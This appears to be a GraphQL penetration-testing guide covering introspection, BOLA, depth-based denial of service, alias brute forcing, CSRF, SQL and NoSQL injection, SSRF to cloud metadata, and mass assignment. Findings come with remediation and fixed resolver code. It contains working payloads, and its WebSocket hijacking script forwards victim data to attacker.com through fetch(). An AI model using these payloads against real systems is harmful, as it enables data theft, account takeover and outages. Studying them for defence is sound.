GraphQL Penetration Testing With White Box Analysis

/graphql
/api/graphql
/graphql/v1
/v1/graphql
/v2/graphql
/query
/api/query
/graph
/gql
/data
/api

# Complete introspection query — extracts everything
{
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      name
      kind
      description
      fields(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
        args {
          name
          description
          type {
            name
            kind
          }
          defaultValue
        }
      }
      inputFields {
        name
        type { name kind }
      }
      enumValues(includeDeprecated: true) {
        name
        isDeprecated
      }
      interfaces { name }
      possibleTypes { name }
    }
  }
}

// Example of what gets found in a real introspection dump

// Sensitive types never meant to be discoverable
{"name": "AdminUser"},
{"name": "InternalNotes"},
{"name": "PayrollData"},
{"name": "DebugInfo"},
{"name": "SystemConfig"},

// Mutations revealing privileged operations
{"name": "deleteUser"},
{"name": "promoteToAdmin"},
{"name": "exportAllUserData"},
{"name": "resetUserPassword"},
{"name": "viewAuditLog"},

// Deprecated fields still in schema (often with weaker security)
{"name": "getUserById", "isDeprecated": true,
 "deprecationReason": "Use getUserByEmail instead"}
// Deprecated queries remain functional — and may have weaker auth

# Authenticated as user ID "user_abc_123"
# Query your own order:
query {
  order(id: "order_abc_001") {
    id
    items { name price }
    paymentMethod { last4 cardType }
    shippingAddress { street city zip }
  }
}
# Returns: your own order data

# BOLA test — query another user's order ID
query {
  order(id: "order_xyz_999") {
    id
    items { name price }
    paymentMethod { last4 cardType }
    shippingAddress { street city zip }
  }
}
# Vulnerable response: returns another user's complete order including
# payment method details and shipping address
# Correct response: authorization error or null

# The query entry point may be authorized correctly
# But individual fields within the response may not be

# This query may work correctly (user profile is authorized):
query {
  user(id: "user_xyz_999") {
    name          # ← authorized: public profile field
    email         # ← authorized: standard user field
    # These fields may have missing resolver-level auth:
    privateNotes  # ← BOLA: resolver never checks ownership
    ssn           # ← BOLA: sensitive field, no auth check
    bankAccount   # ← BOLA: resolver returns data regardless of requester
    adminNotes    # ← BOLA: admin-only field with no role check
  }
}

# GraphQL's nested query capability means BOLA can cross object boundaries
query {
  post(id: "post_999") {
    title
    author {
      # The post is public — but accessing the author's private data
      # through the post relationship may bypass user-level auth
      privateMessages {
        content
        recipient { email }
      }
      billingDetails {
        cardNumber expiryDate
      }
    }
  }
}
# If the post resolver authorizes at the post level only,
# nested author data may be returned without user-level authorization

# Deeply nested query — each level multiplies database calls
query {
  users {          # Fetch N users
    posts {        # For each user, fetch M posts (N×M queries)
      comments {   # For each post, fetch K comments (N×M×K queries)
        author {   # For each comment, fetch author (N×M×K×1 queries)
          posts {  # For each author, fetch posts again — exponential
            comments {
              author {
                posts { title }
              }
            }
          }
        }
      }
    }
  }
}

# With 100 users, 10 posts each, 10 comments each:
# Depth 3: 100 × 10 × 10 = 10,000 database queries
# Depth 5: 100 × 10 × 10 × 100 × 10 = 10,000,000 database queries
# From a single HTTP request

Finding: Missing Query Depth Limit
Severity: High (CVSS 4.0: 7.5)

Test: Nested query at depth 8 across user→posts→comments→author relationships
Response time at depth 3: 145ms
Response time at depth 6: 2,847ms
Response time at depth 8: Timeout (30s)

Impact: Single unauthenticated request can exhaust database connection pool
and render the API unavailable for all users.

Remediation: Implement query depth limiting (maximum 5-7 levels recommended)
and query complexity analysis using graphql-depth-limit or equivalent.

Code fix (Apollo Server):
  const server = new ApolloServer({
    schema,
    validationRules: [depthLimit(7)]
  });

# Alias-based batching — 100 login attempts in one HTTP request
query {
  attempt1: login(username: "admin", password: "password1") { token }
  attempt2: login(username: "admin", password: "password2") { token }
  attempt3: login(username: "admin", password: "password3") { token }
  # ... continues to attempt100
  attempt100: login(username: "admin", password: "password100") { token }
}

# One HTTP request = 100 brute force attempts
# Rate limiting counting requests allows this indefinitely
# Rate limiting counting operations (correct) blocks it at attempt 5-10

// Send array of operations as a single HTTP request
[
  {"query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }"}
]

// Finding: if the server processes all three and returns all three responses,
// batching is enabled and rate limits are per-request, not per-operation

Finding: CSRF on GraphQL Mutations via Content-Type Bypass
Severity: High (CVSS 4.0: 8.1)

Endpoint: POST https://api.target.com/graphql
Vulnerability: Server accepts application/x-www-form-urlencoded
content type for state-changing mutations.

Impact: An adversary can craft a malicious webpage that
triggers any mutation as an authenticated victim — including
changeEmail, changePassword, deleteAccount, transferFunds —
when the victim visits the page while authenticated.
Since GraphQL uses a single endpoint, this covers every
mutation the API exposes simultaneously.

Proof of concept: [HTML form above]
Result: Victim's email changed to attacker@evil.com
       in one page visit, no interaction required.

Remediation:
  1. Enforce POST-only for all mutations at middleware layer
  2. Reject all non-application/json content types before
     the GraphQL engine processes the request
  3. Validate Origin and Referer headers on mutations
  4. Set SameSite=Strict on all session cookies
  5. Implement CSRF tokens for cookie-based auth flows

# Test SQL injection in search argument
query {
  users(search: "' OR '1'='1' --") {
    id email username role
  }
}

# If this returns all users regardless of search term:
# SQL injection confirmed — the argument reaches a raw SQL query

# More targeted test:
query {
  users(search: "' UNION SELECT id, email, password, role FROM users --") {
    id email username role
  }
}

# MongoDB injection test — operator injection
query {
  user(filter: "{\"$where\": \"this.password.match(/.*/)\" }") {
    id email username
  }
}

# Alternative: inject via input type fields
mutation {
  updateUser(input: {
    email: { "$gt": "" }  # Comparison operator injection
  }) {
    id email
  }
}

# Test for SSRF in URL-accepting arguments
mutation {
  importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
    result
  }
}

# Or in webhook configuration mutations
mutation {
  setWebhook(url: "http://internal-service.company.local:8080/admin") {
    success
  }
}

# Standard update mutation — intended client input:
mutation {
  updateProfile(input: {
    name: "John"
    email: "john@example.com"
  }) {
    id name email
  }
}

# Mass assignment test — add every field visible in the input type schema:
mutation {
  updateProfile(input: {
    name: "John"
    email: "john@example.com"
    # These fields exist in the input type but should not be settable:
    role: "ADMIN"                  # Privilege escalation
    isAdmin: true                  # Direct admin flag
    isVerified: true               # Bypass email verification requirement
    subscriptionTier: "ENTERPRISE" # Free user claiming paid tier
    permissions: ["ALL"]           # Unrestricted permission grant
    internalNotes: "compromised"   # Admin-only field
    creditBalance: 99999           # Financial manipulation
    emailVerifiedAt: "2020-01-01"  # Bypass verification timestamp
  }) {
    id role isAdmin subscriptionTier permissions
  }
}

# If any restricted field is accepted and persisted in the response:
# Mass assignment confirmed — severity depends on which field is affected
# role: ADMIN = Critical
# subscriptionTier: ENTERPRISE = High
# isVerified: true = Medium-High

// Vulnerable resolver — no field allowlist
const resolvers = {
  Mutation: {
    updateProfile: async (parent, { input }, context) => {
      // VULNERABILITY: spreads entire input directly onto the model
      // Client can set any field that exists on the User model
      return await User.update(
        { ...input },  // No field filtering
        { where: { id: context.user.id } }
      );
    }
  }
};

// Correct resolver — explicit field allowlist
const resolvers = {
  Mutation: {
    updateProfile: async (parent, { input }, context) => {
      // Only allow specific fields to be updated by the client
      const allowedFields = { name: input.name, bio: input.bio };
      return await User.update(
        allowedFields,  // Only whitelisted fields
        { where: { id: context.user.id } }
      );
    }
  }
};

# Authenticated as standard user — test admin mutations
mutation {
  promoteUserToAdmin(userId: "current_user_id") {
    role
  }
}

# Test role field in update mutation
mutation {
  updateUser(id: "current_user_id", input: {
    role: "ADMIN"      # Mass assignment — can user set their own role?
    permissions: ["ALL"]
  }) {
    id role permissions
  }
}

# Test unauthenticated subscription access
subscription {
  allUserActivity {   # Should require auth — test without credentials
    userId action timestamp data
  }
}

# Test cross-user subscription access
subscription {
  userActivity(userId: "other_user_id") {  # BOLA via subscription
    action timestamp sensitiveData
  }
}

// Attacker's malicious page — victim visits while authenticated
// Browser automatically sends session cookies with WebSocket handshake

var ws = new WebSocket('wss://api.target.com/graphql');

ws.onopen = function() {
  // Initialize GraphQL WebSocket connection
  ws.send(JSON.stringify({
    type: 'connection_init',
    payload: {}  // Cookies sent automatically — no credentials needed
  }));

  // Subscribe to victim's real-time data stream
  ws.send(JSON.stringify({
    id: '1',
    type: 'start',
    payload: {
      query: `subscription {
        userNotifications {
          id
          message
          data
          sensitivePayload
        }
      }`
    }
  }));
};

ws.onmessage = function(event) {
  // Exfiltrate every real-time event to attacker-controlled server
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: event.data,
    mode: 'no-cors'
  });
};

// Impact:
// Attacker receives every real-time notification, message, and
// data event the victim receives — continuously, until the
// victim closes their session or the WebSocket times out

Finding: Cross-Site WebSocket Hijacking via GraphQL Subscriptions
Severity: High (CVSS 4.0: 8.0)

Endpoint: wss://api.target.com/graphql (WebSocket)
Vulnerability: WebSocket handshake does not validate Origin header.
Authentication relies on session cookies which browsers attach
automatically to WebSocket connections from any origin.

Exploitation: Attacker-controlled page establishes subscription
connection as authenticated victim. All real-time events received
by the victim are forwarded to attacker's collection endpoint.

Data exposed in testing: userNotifications including
account activity, session events, and private message previews.

Remediation:
  1. Validate Origin header during WebSocket handshake —
     reject connections from origins not in allowlist
  2. Require explicit authentication token in connection_init
     payload rather than relying on cookie-based auth
  3. Implement CSRF token validation for WebSocket upgrade

// External testing: query returns data for the requesting user (appears correct)
// White box analysis: the resolver never checks ownership

// Vulnerable resolver — no authorization check
const resolvers = {
  Query: {
    userDocuments: async (parent, { userId }, context) => {
      // VULNERABILITY: userId comes from the query argument
      // No check that context.user.id === userId
      // Any authenticated user can query any user's documents
      return await Document.findAll({ where: { userId } });
    }
  }
};

// Correct resolver — authorization enforced
const resolvers = {
  Query: {
    userDocuments: async (parent, { userId }, context) => {
      // Verify the requesting user owns the requested documents
      if (context.user.id !== userId && !context.user.isAdmin) {
        throw new AuthorizationError('Access denied');
      }
      return await Document.findAll({ where: { userId } });
    }
  }
};